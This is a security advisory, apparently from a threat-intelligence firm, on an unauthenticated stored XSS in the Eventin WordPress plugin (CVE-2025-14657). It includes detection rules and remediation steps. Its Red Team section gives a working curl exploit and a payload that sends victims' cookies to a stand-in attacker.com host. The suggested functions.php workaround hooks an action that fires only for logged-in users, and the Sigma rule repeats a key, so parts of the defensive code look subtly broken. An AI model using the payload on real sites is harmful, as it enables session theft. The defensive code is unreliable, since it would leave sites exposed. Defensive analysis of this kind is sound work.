CVE-2025-14657

Executive Summary

CVE-2025-14657 is a critical security vulnerability affecting the Eventin – Event Manager, Events Calendar, Event Tickets and Registrations WordPress plugin, versions up to and including 4.0.51. The vulnerability is a combination of a missing capability check on the post_settings function and insufficient input sanitization/escaping on the etn_primary_color setting. This allows unauthenticated attackers to modify plugin settings and inject arbitrary web scripts (Stored XSS) that execute whenever a user accesses a page where Eventin styles are loaded. The CVSS score is 7.2 (High), and no official patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Eventin plugin. It is not related to NPM, PyPI, Go, or Ruby packages. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Themein).

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is easily exploitable by unauthenticated attackers, leading to partial compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the post_settings function of the Eventin plugin. This function is intended to allow authorized users (e.g., administrators) to modify plugin settings. However, it lacks a capability check, meaning any unauthenticated user can call it.

Furthermore, the etn_primary_color setting is not properly sanitized or escaped. When an attacker sends a crafted request to the post_settings endpoint, they can inject arbitrary JavaScript code into this setting. This code is then stored in the WordPress database and executed in the context of any user who views a page that loads Eventin styles (e.g., event pages, calendar views). This is a classic Stored Cross-Site Scripting (XSS) attack.

The attack flow:

1. Attacker sends a POST request to /wp-admin/admin-ajax.php with action post_settings and a payload containing malicious JavaScript in the etn_primary_color parameter.
2. The plugin saves the payload without sanitization.
3. When a victim (admin, editor, or visitor) loads a page that includes Eventin CSS/JS, the injected script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.0.51):

// In class-settings.php or similar
public function post_settings() {
    // Missing capability check
    if (isset($_POST['etn_primary_color'])) {
        update_option('etn_primary_color', $_POST['etn_primary_color']);
    }
    // ... other settings
}

Patched Code (Hypothetical):

public function post_settings() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    if (isset($_POST['etn_primary_color'])) {
        // Sanitize input
        $sanitized_color = sanitize_hex_color($_POST['etn_primary_color']);
        update_option('etn_primary_color', $sanitized_color);
    }
    // ... other settings
}

The patch would add a current_user_can('manage_options') check and use sanitize_hex_color() to ensure only valid hex color values are stored.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Eventin plugin version <= 4.0.51.
• No authentication required.

Exploit Steps:

1. Identify the target WordPress site.
2. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action=post_settings
   • etn_primary_color=<script>alert('XSS')</script>
3. The payload is stored.
4. Any user visiting a page that loads Eventin styles will trigger the XSS.

Example cURL command:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=post_settings&etn_primary_color=<script>alert('XSS')</script>"

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=post_settings from unauthenticated users.
• Look for suspicious values in the etn_primary_color parameter (e.g., containing <script> tags).
• Check the wp_options table for the etn_primary_color option containing unexpected content.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name = 'etn_primary_color' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=post_settings and etn_primary_color containing HTML/JavaScript.
• File: Modified wp_options table entry for etn_primary_color with malicious content.
• Behavior: Unexpected JavaScript execution on Eventin pages (e.g., event listings, calendar views).
• Logs: WordPress debug log entries showing post_settings calls from unauthenticated IPs.

Detection Engineering

YARA Rule

rule CVE_2025_14657_Eventin_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-14657 in Eventin plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14657"
    strings:
        $payload1 = "etn_primary_color" ascii wide nocase
        $payload2 = "<script" ascii wide nocase
        $payload3 = "post_settings" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-14657 Eventin Plugin Unauthenticated XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with post_settings action and suspicious etn_primary_color parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=post_settings'
        cs-uri-query|contains: 'etn_primary_color='
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin updates (should be rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-14657 Eventin Plugin Unauthenticated XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=post_settings"; http_client_body;
    content:"etn_primary_color="; http_client_body;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Eventin plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=post_settings and etn_primary_color with suspicious content.
3. Audit the wp_options table for any malicious etn_primary_color entries and remove them.

Long-term Fix:

• Apply the vendor patch once available (monitor Themein's update channel).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following code to the theme's functions.php to block unauthenticated access to the vulnerable function:

add_action('wp_ajax_post_settings', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
}, 1);

Valters IT
DevSecOps & Cyber Threat Intelligence